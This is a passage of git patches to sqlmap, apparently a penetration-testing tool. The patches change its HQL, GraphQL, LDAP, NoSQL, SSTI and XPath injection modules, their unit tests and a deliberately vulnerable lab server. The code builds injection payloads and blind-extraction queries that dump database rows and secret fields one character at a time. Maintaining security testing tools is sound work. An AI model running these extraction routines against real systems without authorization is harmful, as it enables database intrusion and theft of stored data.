at: '''")) + self.assertTrue(hql._isError("org.hibernate.query.sqm.UnknownEntityException: Could not resolve root entity 'Ghost'")) + self.assertFalse(hql._isError("normal page content")) + + def test_backend_from_error(self): + self.assertEqual(hql._backendFromError("org.hibernate.query.SemanticException: boom"), "Hibernate") + self.assertIsNotNone(hql._backendFromError("org.eclipse.persistence.exceptions.JPQLException")) + self.assertIsNone(hql._backendFromError("plain page")) + + def test_entity_from_error(self): + self.assertEqual(hql._entityFromError("Could not resolve attribute 'zzz' of 'lab.App$Member'"), "lab.App$Member") + self.assertEqual(hql._entityFromError("Could not resolve root entity 'Ghost'"), "Ghost") + self.assertIsNone(hql._entityFromError("nothing here")) + + def test_short_entity(self): + self.assertEqual(hql._shortEntity("lab.App$Member"), "Member") + self.assertEqual(hql._shortEntity("com.acme.model.User"), "User") + self.assertEqual(hql._shortEntity("User"), "User") + + +class TestBoundary(unittest.TestCase): + def test_wrap_string(self): + b = hql.Boundary("' OR ", " OR '1'='2", True) + self.assertEqual(hql._wrap("SEN", b, "1=1"), "SEN' OR 1=1 OR '1'='2") + + def test_base_sentinel_vs_numeric(self): + self.assertEqual(hql._base(hql.Boundary("' OR ", " OR '1'='2", True), "x"), hql.SENTINEL) + self.assertEqual(hql._base(hql.Boundary(" OR ", "", False), "5"), "-1") + + def test_scalar_casts_attribute(self): + expr = hql._scalar("Member", "id", "LENGTH(%s)", "id") + self.assertIn("CAST(_h.id AS string)", expr) + self.assertIn("FROM Member _h", expr) + self.assertIn("MIN(_h2.id)", expr) + + +class TestDetection(unittest.TestCase): + def setUp(self): + self.original = hql._send + + def tearDown(self): + hql._send = self.original + + def test_boolean_detection(self): + # TRUE payloads return rows, FALSE payloads return an empty (but stable) page + def mock(place, parameter, value): + if "OR '1'='1" in value or "OR 1=1" in value: + return "
alice
bob
" + return "" + hql._send = mock + template, payload, boundary = hql._detectBoolean("GET", "name") + self.assertIsNotNone(template) + self.assertIn("OR '1'='1", payload) + self.assertTrue(boundary.sentinel) + + def test_no_detection_when_static(self): + hql._send = lambda place, parameter, value: "same" + template, _, _ = hql._detectBoolean("GET", "name") + self.assertIsNone(template) + + +def _recordOracle(record, entity="Member"): + """Build a truth(predicate) that answers the LENGTH/SUBSTRING/EXISTS predicates + the engine emits, evaluated against an in-memory record dict.""" + + def truth(predicate): + # entity brute / attribute existence + m = re.search(r"FROM (\w+) _h", predicate) + if m and m.group(1) != entity: + return False + # entity brute: EXISTS(SELECT 1 FROM _h) + if re.search(r"EXISTS\(SELECT 1 FROM \w+ _h\)", predicate): + return True + # attribute existence: EXISTS(SELECT _h. FROM _h) + m = re.search(r"SELECT _h\.(\w+) FROM", predicate) + if m: + return m.group(1) in record + # length: LENGTH(CAST(_h. AS string)) ... >= N + if "LENGTH" in predicate: + m = re.search(r"CAST\(_h\.(\w+) AS string\)", predicate) + n = re.search(r">=(\d+)", predicate) + if m and n: + return len(str(record.get(m.group(1), ""))) >= int(n.group(1)) + # char: SUBSTRING(CAST(_h. AS string),,1) ... ='' + if "SUBSTRING" in predicate: + m = re.search(r"SUBSTRING\(CAST\(_h\.(\w+) AS string\),(\d+),1\)", predicate) + c = re.search(r"='(.)'\s*$", predicate) + if m and c: + attr, pos, ch = m.group(1), int(m.group(2)), c.group(1) + value = str(record.get(attr, "")) + return pos <= len(value) and value[pos - 1] == ch + return False + + return truth + + +class TestExtraction(unittest.TestCase): + def setUp(self): + self.record = {"id": "1", "name": "alice", "secret": "s3cr3t-alice", "role": "admin"} + self.truth = _recordOracle(self.record) + + def test_brute_entities(self): + self.assertEqual(hql._bruteEntities(self.truth), ["Member"]) + + def test_enum_fields(self): + fields = hql._enumFields(self.truth, "Member") + for expected in ("id", "name", "secret", "role"): + self.assertIn(expected, fields) + + def test_infer_string_value(self): + self.assertEqual(hql._inferValue(self.truth, "Member", "name", "id"), "alice") + + def test_infer_secret_with_symbols(self): + self.assertEqual(hql._inferValue(self.truth, "Member", "secret", "id"), "s3cr3t-alice") + + def test_infer_numeric_via_cast(self): + self.assertEqual(hql._inferValue(self.truth, "Member", "id", "id"), "1") + + def test_infer_absent_attribute_empty(self): + self.assertEqual(hql._inferValue(self.truth, "Member", "nope", "id"), "") + + +def _multiOracle(records): + """Row-aware oracle: honors the "_h2. > " walk bound by selecting the + smallest-id record strictly greater than `after`.""" + + def pick(predicate): + m = re.search(r"_h2\.\w+>(\d+)", predicate) + after = int(m.group(1)) if m else None + cands = [r for r in records if after is None or int(r["id"]) > after] + return min(cands, key=lambda r: int(r["id"])) if cands else None + + def truth(predicate): + if re.search(r"EXISTS\(SELECT 1 FROM \w+ _h\)", predicate): + return True + m = re.search(r"EXISTS\(SELECT _h\.(\w+) FROM", predicate) + if m: + return m.group(1) in records[0] + rec = pick(predicate) + if rec is None: + return False + if "LENGTH" in predicate: + m = re.search(r"CAST\(_h\.(\w+) AS string\)", predicate) + n = re.search(r">=(\d+)", predicate) + if m and n: + return len(str(rec.get(m.group(1), ""))) >= int(n.group(1)) + if "SUBSTRING" in predicate: + m = re.search(r"SUBSTRING\(CAST\(_h\.(\w+) AS string\),(\d+),1\)", predicate) + c = re.search(r"='(.)'\s*$", predicate) + if m and c: + value = str(rec.get(m.group(1), "")) + pos = int(m.group(2)) + return pos <= len(value) and value[pos - 1] == c.group(1) + return False + + return truth + + +class TestMultiRow(unittest.TestCase): + def setUp(self): + self.records = [ + {"id": "1", "name": "alice", "role": "admin"}, + {"id": "2", "name": "bob", "role": "user"}, + {"id": "5", "name": "carol", "role": "staff"}, + ] + self.truth = _multiOracle(self.records) + + def _walk(self, fields, pin): + rows, after = [], None + for _ in range(20): + pinValue = hql._inferValue(self.truth, "Member", pin, pin, after) + if not pinValue: + break + record = {pin: pinValue} + for field in fields: + if field != pin: + record[field] = hql._inferValue(self.truth, "Member", field, pin, after) + rows.append(record) + if not re.match(r"\A\d+\Z", pinValue): + break + after = pinValue + return rows + + def test_walks_all_rows_in_order(self): + rows = self._walk(["id", "name", "role"], "id") + self.assertEqual([r["name"] for r in rows], ["alice", "bob", "carol"]) + self.assertEqual([r["id"] for r in rows], ["1", "2", "5"]) + self.assertEqual(rows[2]["role"], "staff") + + +class TestGrid(unittest.TestCase): + def test_grid(self): + out = hql._grid(["id", "name"], [["1", "alice"]]) + self.assertIn("alice", out) + self.assertIn("+--", out) + + +if __name__ == "__main__": + unittest.main() From 2fec735b13ba24524e51181919e2f4035e3ca66f Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Fri, 10 Jul 2026 11:36:40 +0200 Subject: [PATCH 723/853] Minor patches --- extra/vulnserver/vulnserver.py | 7 ++--- lib/core/settings.py | 7 ++--- lib/techniques/graphql/inject.py | 4 +++ lib/techniques/hql/inject.py | 44 ++++++++++++++++++++++---------- lib/techniques/ldap/inject.py | 24 +++++++++++++---- lib/techniques/nosql/inject.py | 2 ++ lib/techniques/ssti/inject.py | 5 ---- lib/techniques/xpath/inject.py | 4 +++ tests/test_hql.py | 30 ++++++++++++---------- tests/test_ssti.py | 3 --- 10 files changed, 81 insertions(+), 49 deletions(-) diff --git a/extra/vulnserver/vulnserver.py b/extra/vulnserver/vulnserver.py index 7a432e8ee1c..1a29dbb4fd0 100644 --- a/extra/vulnserver/vulnserver.py +++ b/extra/vulnserver/vulnserver.py @@ -278,15 +278,16 @@ def _hql_atom(atom): return False return len(HQL_RECORD[attr]) >= n - match = re.match(r"^\(SELECT SUBSTRING\(CAST\(_h\.(\w+) AS string\),(\d+),1\).*?\)\s*=\s*'(.)'$", atom, re.I) # scalar char + match = re.match(r"^\(SELECT LOCATE\(SUBSTRING\(CAST\(_h\.(\w+) AS string\),(\d+),1\),'([^']*)'\).*?\)\s*>=\s*(\d+)$", atom, re.I) # scalar char (LOCATE index) if match: - attr, pos, ch = match.group(1), int(match.group(2)), match.group(3) + attr, pos, literal, n = match.group(1), int(match.group(2)), match.group(3), int(match.group(4)) if attr not in HQL_RECORD: raise _HqlError("org.hibernate.query.sqm.PathElementException: Could not resolve attribute '%s' of '%s'" % (attr, HQL_ENTITY)) if _hql_no_row(atom): return False value = HQL_RECORD[attr] - return pos <= len(value) and value[pos - 1] == ch + index = (literal.find(value[pos - 1]) + 1) if pos <= len(value) else 0 # 1-based, 0 if absent + return index >= n match = re.match(r"^(?:\w+\.)?(\w+)\s+IS NOT NULL$", atom, re.I) # path probe (entity leak) if match: diff --git a/lib/core/settings.py b/lib/core/settings.py index 062df34ac4d..935975bede7 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.66" +VERSION = "1.10.7.67" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -1040,7 +1040,7 @@ # that an error response originates from an LDAP back-end rather than a generic HTTP 500 LDAP_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in LDAP_ERROR_SIGNATURES) -# Printable-ASCII codepoint bounds bisected during LDAP blind extraction via >= lexicographic comparison +# Printable-ASCII codepoint bounds for the (linear, prefix-wildcard) LDAP blind character scan LDAP_CHAR_MIN = 0x20 LDAP_CHAR_MAX = 0x7e @@ -1268,9 +1268,6 @@ ("jar:file:///usr/share/java/lotus-domino.jar!/schema/domino.dtd", "abbr"), ) -# Upper bound for SSTI value extraction (reserved for future use) -SSTI_MAX_LENGTH = 256 - # Length of prefix and suffix used in non-SQLI heuristic checks NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH = 6 diff --git a/lib/techniques/graphql/inject.py b/lib/techniques/graphql/inject.py index c058cd64b71..bdcdb619db4 100644 --- a/lib/techniques/graphql/inject.py +++ b/lib/techniques/graphql/inject.py @@ -835,6 +835,9 @@ def _inferExpr(truth, dialect, expr, maxLen=MAX_LENGTH): high = mid length = low + if length >= maxLen: + logger.warning("value length hit the %d-char cap; the recovered value may be truncated" % maxLen) + value = "" for pos in xrange(1, length + 1): ordExpr = dialect.ordinal(expr, pos) @@ -1064,6 +1067,7 @@ def _testSlot(slot, endpoint): logger.info("no oracle confirmed for this slot") return None, None, None + logger.info("%s.%s(%s:) is vulnerable to GraphQL injection (%s-based)" % (slot.parentType, slot.fieldName, slot.targetArg, kind)) title = "GraphQL %s" % oracleType payload = _buildQuery(slot, _SQL_BOOLEAN_TRUE) or _SQL_BOOLEAN_TRUE report = "---\nParameter: %s.%s(%s:) (%s)\n Type: GraphQL injection\n Title: %s\n Payload: %s\n---" % ( diff --git a/lib/techniques/hql/inject.py b/lib/techniques/hql/inject.py index 96fb8e49556..e0da607c6fc 100644 --- a/lib/techniques/hql/inject.py +++ b/lib/techniques/hql/inject.py @@ -310,17 +310,25 @@ def _enumFields(truth, entity): if _ not in _META_ORDS and _ not in _CHARSET: _CHARSET.append(_) +# Charset as an HQL string literal for LOCATE()-based binary search: each character's +# 1-based index inside this literal is recovered by bisection (~log2(n) requests vs a +# linear equality scan), and LOCATE is an index lookup so no lexicographic ordering / +# collation assumption is introduced. URL-structural bytes (%, &, +, #, ?) are excluded +# because they cannot survive a raw GET/POST value; such a byte is surfaced as '?' (as +# it was under the previous linear scan). ', ", \ are already excluded above. +_URL_HOSTILE = set(ord(_) for _ in "%&+#?") +_CS_LITERAL = "".join(chr(_) for _ in _CHARSET if _ not in _URL_HOSTILE) -def _scalar(entity, attribute, expr, pin, after=None): + +def _scalar(entity, attrExpr, pin, after=None): """Scalar subquery over a single `entity` row selected by the smallest `pin` (optionally the smallest strictly greater than `after`, to walk rows in order). - Alias-independent, so it works regardless of the outer query's alias. `expr` - wraps the attribute, cast to string so numeric/temporal values extract too.""" + Alias-independent, so it works regardless of the outer query's alias. `attrExpr` + is the already-built selected expression (references CAST(_h. AS string)).""" bound = "" if after is None else " WHERE _h2.%s>%s" % (pin, after) - target = "CAST(_h.%s AS string)" % attribute inner = "SELECT %s FROM %s _h WHERE _h.%s=(SELECT MIN(_h2.%s) FROM %s _h2%s)" % ( - expr % target, entity, pin, pin, entity, bound) + attrExpr, entity, pin, pin, entity, bound) return "(%s)" % inner @@ -328,7 +336,7 @@ def _inferValue(truth, entity, attribute, pin, after=None, maxLen=HQL_MAX_LENGTH """Blindly recover one attribute value of the row selected by `pin`/`after`.""" # length first, by binary search - lengthExpr = _scalar(entity, attribute, "LENGTH(%s)", pin, after) + lengthExpr = _scalar(entity, "LENGTH(CAST(_h.%s AS string))" % attribute, pin, after) if not truth("%s>=1" % lengthExpr): return "" @@ -343,14 +351,20 @@ def _inferValue(truth, entity, attribute, pin, after=None, maxLen=HQL_MAX_LENGTH chars = [] for pos in xrange(1, length + 1): - charExpr = _scalar(entity, attribute, "SUBSTRING(%%s,%d,1)" % pos, pin, after) - found = None - for cp in _CHARSET: - literal = chr(cp) - if truth("%s='%s'" % (charExpr, literal)): - found = literal - break - chars.append(found if found is not None else "?") + # index of this character inside _CS_LITERAL, recovered by binary search + idxExpr = _scalar(entity, "LOCATE(SUBSTRING(CAST(_h.%s AS string),%d,1),'%s')" % (attribute, pos, _CS_LITERAL), pin, after) + if not truth("%s>=1" % idxExpr): + chars.append("?") + continue + + lo, hi = 1, len(_CS_LITERAL) + while lo < hi: + mid = (lo + hi + 1) // 2 + if truth("%s>=%d" % (idxExpr, mid)): + lo = mid + else: + hi = mid - 1 + chars.append(_CS_LITERAL[lo - 1]) return "".join(chars) @@ -407,6 +421,8 @@ def _dumpEntity(oracle, place, parameter, entity): if not re.match(r"\A\d+\Z", pinValue): break after = pinValue + else: + logger.warning("entity '%s' hit the HQL_MAX_RECORDS (%d) cap; some records may be omitted" % (entity, HQL_MAX_RECORDS)) conf.dumper.singleString("HQL: %s parameter '%s' entity '%s' (%d record%s, ordered by %s):\n%s" % (place, parameter, entity, len(rows), "s" if len(rows) != 1 else "", pin, _grid(columns, rows))) diff --git a/lib/techniques/ldap/inject.py b/lib/techniques/ldap/inject.py index eb1ef1f1880..e433f4eb0bb 100644 --- a/lib/techniques/ldap/inject.py +++ b/lib/techniques/ldap/inject.py @@ -553,6 +553,8 @@ def _enumerateEntryKeys(oracle, builder): logger.info("identified directory entry: %s='%s'" % (keyAttr, value)) if values: + if len(values) >= LDAP_MAX_RECORDS: + logger.warning("directory enumeration hit the LDAP_MAX_RECORDS (%d) cap; some entries may be omitted" % LDAP_MAX_RECORDS) return keyAttr, values return None, [] @@ -602,10 +604,22 @@ def _dumpMultiValues(oracle, builder, place, parameter): if not _exists(oracle, builder, attr): continue - value = _inferAttribute(oracle, builder, attr) - if value: - logger.info("fetched 1 value from attribute '%s'" % attr) - _dumpTable("LDAP: %s parameter '%s' '%s' values" % (place, parameter, attr), [attr], [(value,)]) + # Multi-valued attributes (member, memberOf, ...) carry several values; + # walk them by excluding each recovered value from the next probe, exactly + # like _enumerateEntryKeys does for entry keys. + values = [] + while len(values) < LDAP_MAX_RECORDS: + exclusions = [(attr, _) for _ in values] + value = _inferAttribute(oracle, builder, attr, exclusions=exclusions) + if not value or value in values: + break + values.append(value) + + if values: + if len(values) >= LDAP_MAX_RECORDS: + logger.warning("attribute '%s' hit the LDAP_MAX_RECORDS (%d) cap; some values may be omitted" % (attr, LDAP_MAX_RECORDS)) + logger.info("fetched %d value%s from attribute '%s'" % (len(values), "" if len(values) == 1 else "s", attr)) + _dumpTable("LDAP: %s parameter '%s' '%s' values" % (place, parameter, attr), [attr], [(_,) for _ in values]) dumped = True return dumped @@ -720,7 +734,7 @@ def ldapScan(): if not slot.backend or slot.backend == "Generic LDAP": backend = _fingerprintByAttribute(oracle, builder) if backend: - logger.info("identified back-end DBMS: '%s'" % backend) + logger.info("identified back-end: '%s'" % backend) slot = slot._replace(backend=backend) # Determine extraction method: in-band if the template page already diff --git a/lib/techniques/nosql/inject.py b/lib/techniques/nosql/inject.py index ceb1807ea4d..c06782bd728 100644 --- a/lib/techniques/nosql/inject.py +++ b/lib/techniques/nosql/inject.py @@ -424,6 +424,8 @@ def minIdGreater(lower): records.append(dict(zip(cols, values[0]))) # align by field name (keys(u) order is per-node) columns.extend(_ for _ in cols if _ not in columns) lastId = nodeId + else: + logger.warning("hit the NOSQL_MAX_RECORDS (%d) cap; some records may be omitted" % NOSQL_MAX_RECORDS) return (columns, [[row.get(_, "") for _ in columns] for row in records]) if records else None diff --git a/lib/techniques/ssti/inject.py b/lib/techniques/ssti/inject.py index d8d6a283b24..b16e157cdb3 100644 --- a/lib/techniques/ssti/inject.py +++ b/lib/techniques/ssti/inject.py @@ -24,8 +24,6 @@ from lib.request.connect import Connect as Request -SENTINEL = randomStr(length=10, lowercase=True) - SSTI_PLACES = (PLACE.GET, PLACE.POST, PLACE.COOKIE, PLACE.CUSTOM_POST) # Each Engine entry defines detection payloads and expected behaviour for one @@ -572,9 +570,6 @@ def _fingerprint(place, parameter): def sstiScan(): - global SENTINEL - SENTINEL = randomStr(length=10, lowercase=True) - debugMsg = "'--ssti' is self-contained: it detects SSTI and fingerprints " debugMsg += "common template engines when possible. SQL enumeration " debugMsg += "switches (--banner, --dbs, --tables, --users, --sql-query) are ignored" diff --git a/lib/techniques/xpath/inject.py b/lib/techniques/xpath/inject.py index bd40548be90..da938cc24e3 100644 --- a/lib/techniques/xpath/inject.py +++ b/lib/techniques/xpath/inject.py @@ -488,10 +488,14 @@ def _walkTree(oracle, builder, path="/*", depth=0): childCount = _inferCount(oracle, builder, path, lambda b, p, c: b.childCount(p, c), maxCount=32) + if childCount >= 32: + logger.warning("element '%s' hit the 32-child cap; some child nodes may be omitted" % name) attrCount = _inferCount(oracle, builder, path, lambda b, p, c: b.attributeCount(p, c), maxCount=16) + if attrCount >= 16: + logger.warning("element '%s' hit the 16-attribute cap; some attributes may be omitted" % name) attributes = [] for i in xrange(1, attrCount + 1): diff --git a/tests/test_hql.py b/tests/test_hql.py index a70292921ee..e594b82988b 100644 --- a/tests/test_hql.py +++ b/tests/test_hql.py @@ -58,7 +58,7 @@ def test_base_sentinel_vs_numeric(self): self.assertEqual(hql._base(hql.Boundary(" OR ", "", False), "5"), "-1") def test_scalar_casts_attribute(self): - expr = hql._scalar("Member", "id", "LENGTH(%s)", "id") + expr = hql._scalar("Member", "LENGTH(CAST(_h.id AS string))", "id") self.assertIn("CAST(_h.id AS string)", expr) self.assertIn("FROM Member _h", expr) self.assertIn("MIN(_h2.id)", expr) @@ -111,14 +111,15 @@ def truth(predicate): n = re.search(r">=(\d+)", predicate) if m and n: return len(str(record.get(m.group(1), ""))) >= int(n.group(1)) - # char: SUBSTRING(CAST(_h. AS string),,1) ... ='' - if "SUBSTRING" in predicate: - m = re.search(r"SUBSTRING\(CAST\(_h\.(\w+) AS string\),(\d+),1\)", predicate) - c = re.search(r"='(.)'\s*$", predicate) - if m and c: - attr, pos, ch = m.group(1), int(m.group(2)), c.group(1) + # char: LOCATE(SUBSTRING(CAST(_h. AS string),,1),'') ... >= + if "LOCATE" in predicate: + m = re.search(r"SUBSTRING\(CAST\(_h\.(\w+) AS string\),(\d+),1\),'([^']*)'", predicate) + n = re.search(r">=(\d+)\s*$", predicate) + if m and n: + attr, pos, literal = m.group(1), int(m.group(2)), m.group(3) value = str(record.get(attr, "")) - return pos <= len(value) and value[pos - 1] == ch + index = (literal.find(value[pos - 1]) + 1) if pos <= len(value) else 0 + return index >= int(n.group(1)) return False return truth @@ -174,13 +175,14 @@ def truth(predicate): n = re.search(r">=(\d+)", predicate) if m and n: return len(str(rec.get(m.group(1), ""))) >= int(n.group(1)) - if "SUBSTRING" in predicate: - m = re.search(r"SUBSTRING\(CAST\(_h\.(\w+) AS string\),(\d+),1\)", predicate) - c = re.search(r"='(.)'\s*$", predicate) - if m and c: + if "LOCATE" in predicate: + m = re.search(r"SUBSTRING\(CAST\(_h\.(\w+) AS string\),(\d+),1\),'([^']*)'", predicate) + n = re.search(r">=(\d+)\s*$", predicate) + if m and n: value = str(rec.get(m.group(1), "")) - pos = int(m.group(2)) - return pos <= len(value) and value[pos - 1] == c.group(1) + pos, literal = int(m.group(2)), m.group(3) + index = (literal.find(value[pos - 1]) + 1) if pos <= len(value) else 0 + return index >= int(n.group(1)) return False return truth diff --git a/tests/test_ssti.py b/tests/test_ssti.py index d8a3aadaea2..2a05ddd3c62 100644 --- a/tests/test_ssti.py +++ b/tests/test_ssti.py @@ -18,9 +18,6 @@ import lib.techniques.ssti.inject as ssti -SENTINEL = ssti.SENTINEL - - class TestHelpers(unittest.TestCase): def test_ratio(self): self.assertGreater(ssti._ratio("abc", "abc"), 0.9) From 986933e7091e0420e0cf7de6f6ce2cb30a56ac6b Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Fri, 10 Jul 2026 12:04:08 +0200 Subject: [PATCH 724/853] Minor patches --- lib/core/settings.py | 2 +- lib/techniques/graphql/inject.py | 80 +++++++++++++++++++------------- lib/techniques/ssti/inject.py | 12 +++++ tests/test_graphql.py | 23 ++++----- tests/test_techniques.py | 15 ++++-- 5 files changed, 84 insertions(+), 48 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 935975bede7..aaa47cec6cc 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.67" +VERSION = "1.10.7.68" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/techniques/graphql/inject.py b/lib/techniques/graphql/inject.py index bdcdb619db4..00e6abcf8c1 100644 --- a/lib/techniques/graphql/inject.py +++ b/lib/techniques/graphql/inject.py @@ -39,9 +39,14 @@ # Maximum characters recovered for a single blind-inferred scalar (banner, user, table list, ...) MAX_LENGTH = 1024 -# Higher ceiling for a whole-table dump (its rows are concatenated into one scalar before extraction) +# Ceiling for a single row's concatenated cells (one row is extracted per request, so +# this need not hold a whole table; a GROUP_CONCAT of the whole table would be silently +# capped by the back-end - notably MySQL's group_concat_max_len=1024 - hence per-row). DUMP_MAX_LENGTH = 8192 +# Maximum number of rows dumped per table (bounds a runaway blind dump) +DUMP_MAX_ROWS = 1000 + # Printable-ASCII codepoint bounds for blind character inference CHAR_MIN = 0x20 CHAR_MAX = 0x7e @@ -49,9 +54,8 @@ # Number of independent predicates packed into a single aliased GraphQL document (batched inference) BATCH_SIZE = 40 -# Column/row separators woven into a GROUP_CONCAT/STRING_AGG table dump (printable, improbable in data) +# Cell separator woven into a per-row dump scalar (printable, improbable in data) COL_SEP = "~~~" -ROW_SEP = "^^^" # GraphQL scalar types mapped to injection strategy (None = skip) SCALAR_STRATEGY = { @@ -85,35 +89,35 @@ # established on a slot. `fingerprint` is a predicate true only on that back-end (it errors -> falsy # elsewhere). `length`/`ordinal` render a scalar-extraction sub-expression. `delay` wraps a condition # in an inline conditional sleep (None where the engine offers none, e.g. SQLite). `banner`/ -# `currentUser`/`currentDb`/`tables` are generic enumeration scalars; `columns`/`rows` build the -# per-table column list and a single-scalar dump of every row (cells joined COL_SEP, rows ROW_SEP). +# `currentUser`/`currentDb`/`tables` are generic enumeration scalars; `columns` builds the per-table +# column list and `row(columns, table, offset)` a single row's cells joined by COL_SEP. Dialect = namedtuple("Dialect", ("fingerprint", "length", "ordinal", "delay", "banner", "currentUser", "currentDb", - "tables", "columns", "rows")) + "tables", "columns", "row")) -def _sqliteRows(columns, table): - cells = ["COALESCE(CAST(%s AS TEXT),'NULL')" % _ for _ in columns] - body = ("||'%s'||" % COL_SEP).join(cells) - return "(SELECT GROUP_CONCAT(%s,'%s') FROM %s)" % (body, ROW_SEP, table) +# A row is extracted one at a time by ordinal position (LIMIT/OFFSET). Concatenating +# the whole table into a single GROUP_CONCAT/STRING_AGG scalar would be silently +# truncated by the back-end (MySQL caps group_concat_max_len at 1024 bytes), dropping +# rows without warning; per-row extraction is unbounded and dialect-uniform. +def _sqliteRow(columns, table, offset): + body = ("||'%s'||" % COL_SEP).join("COALESCE(CAST(%s AS TEXT),'NULL')" % _ for _ in columns) + return "(SELECT %s FROM %s LIMIT 1 OFFSET %d)" % (body, table, offset) -def _mysqlRows(columns, table): - cells = ["COALESCE(CAST(%s AS CHAR),'NULL')" % _ for _ in columns] - body = "CONCAT_WS('%s',%s)" % (COL_SEP, ",".join(cells)) - return "(SELECT GROUP_CONCAT(%s SEPARATOR '%s') FROM %s)" % (body, ROW_SEP, table) +def _mysqlRow(columns, table, offset): + body = "CONCAT_WS('%s',%s)" % (COL_SEP, ",".join("COALESCE(CAST(%s AS CHAR),'NULL')" % _ for _ in columns)) + return "(SELECT %s FROM %s LIMIT %d,1)" % (body, table, offset) -def _pgsqlRows(columns, table): - cells = ["COALESCE(CAST(%s AS TEXT),'NULL')" % _ for _ in columns] - body = ("||'%s'||" % COL_SEP).join(cells) - return "(SELECT STRING_AGG(%s,'%s') FROM %s)" % (body, ROW_SEP, table) +def _pgsqlRow(columns, table, offset): + body = ("||'%s'||" % COL_SEP).join("COALESCE(CAST(%s AS TEXT),'NULL')" % _ for _ in columns) + return "(SELECT %s FROM %s LIMIT 1 OFFSET %d)" % (body, table, offset) -def _mssqlRows(columns, table): - cells = ["COALESCE(CAST(%s AS VARCHAR(MAX)),'NULL')" % _ for _ in columns] - body = ("+'%s'+" % COL_SEP).join(cells) - return "(SELECT STRING_AGG(%s,'%s') FROM %s)" % (body, ROW_SEP, table) +def _mssqlRow(columns, table, offset): + body = ("+'%s'+" % COL_SEP).join("COALESCE(CAST(%s AS VARCHAR(MAX)),'NULL')" % _ for _ in columns) + return "(SELECT %s FROM %s ORDER BY (SELECT NULL) OFFSET %d ROWS FETCH NEXT 1 ROWS ONLY)" % (body, table, offset) DIALECTS = OrderedDict(( @@ -127,7 +131,7 @@ def _mssqlRows(columns, table): currentDb=None, tables="(SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table' AND name NOT LIKE 'sqlite_%')", columns=lambda table: "(SELECT GROUP_CONCAT(name) FROM pragma_table_info('%s'))" % table, - rows=_sqliteRows)), + row=_sqliteRow)), ("Microsoft SQL Server", Dialect( fingerprint="@@VERSION LIKE '%Microsoft%'", length=lambda expr: "LEN((%s))" % expr, @@ -138,7 +142,7 @@ def _mssqlRows(columns, table): currentDb="DB_NAME()", tables="(SELECT STRING_AGG(name,',') FROM sys.tables)", columns=lambda table: "(SELECT STRING_AGG(name,',') FROM sys.columns WHERE object_id=OBJECT_ID('%s'))" % table, - rows=_mssqlRows)), + row=_mssqlRow)), ("PostgreSQL", Dialect( fingerprint="(SELECT version()) LIKE 'PostgreSQL%'", length=lambda expr: "LENGTH((%s))" % expr, @@ -149,7 +153,7 @@ def _mssqlRows(columns, table): currentDb="CURRENT_DATABASE()", tables="(SELECT STRING_AGG(table_name,',') FROM information_schema.tables WHERE table_schema='public')", columns=lambda table: "(SELECT STRING_AGG(column_name,',') FROM information_schema.columns WHERE table_name='%s')" % table, - rows=_pgsqlRows)), + row=_pgsqlRow)), ("MySQL", Dialect( fingerprint="@@VERSION_COMMENT IS NOT NULL", length=lambda expr: "CHAR_LENGTH((%s))" % expr, @@ -160,7 +164,7 @@ def _mssqlRows(columns, table): currentDb="DATABASE()", tables="(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE())", columns=lambda table: "(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='%s')" % table, - rows=_mysqlRows)), + row=_mysqlRow)), )) @@ -904,18 +908,32 @@ def _inferrer(truth, truthBatch, dialect): def _dumpTable(infer, dialect, table): - # Enumerate a table's columns, then recover every row as one concatenated scalar - # and split it back into a (columns, rows) grid + # Enumerate a table's columns, then recover its rows ONE AT A TIME by ordinal + # position. A whole-table GROUP_CONCAT/STRING_AGG would be silently truncated by + # the back-end (e.g. MySQL group_concat_max_len=1024), dropping rows; per-row + # extraction has no such cap. columnsRaw = infer(dialect.columns(table)) columns = [_ for _ in (columnsRaw or "").split(",") if _] if not columns: return None - raw = infer(dialect.rows(columns, table), DUMP_MAX_LENGTH) + countRaw = infer("(SELECT COUNT(*) FROM %s)" % table) + try: + count = int((countRaw or "").strip()) + except ValueError: + count = 0 + rows = [] - for record in (raw or "").split(ROW_SEP) if raw else []: - cells = record.split(COL_SEP) + for offset in xrange(min(count, DUMP_MAX_ROWS)): + raw = infer(dialect.row(columns, table, offset), DUMP_MAX_LENGTH) + if raw is None: + continue + cells = raw.split(COL_SEP) rows.append((cells + [""] * len(columns))[:len(columns)]) + + if count > DUMP_MAX_ROWS: + logger.warning("table '%s' has %d rows; dumping the first %d (DUMP_MAX_ROWS cap)" % (table, count, DUMP_MAX_ROWS)) + return columns, rows diff --git a/lib/techniques/ssti/inject.py b/lib/techniques/ssti/inject.py index b16e157cdb3..d518ca1b80b 100644 --- a/lib/techniques/ssti/inject.py +++ b/lib/techniques/ssti/inject.py @@ -482,6 +482,12 @@ def _familyUniquelyIdentifies(engine): return sum(e.family == engine.family for e in siblings) == 1 +# Delimiters shared by more than one engine in _ENGINE_TABLE; a match on any of these +# needs the full cross-engine comparison to disambiguate (Jinja2/Twig/Handlebars for +# "{{", Freemarker/SpringEL/Mako for "${"). Any other delimiter is unique to one engine. +_SHARED_DELIMITERS = frozenset(("{{", "${")) + + def _fingerprint(place, 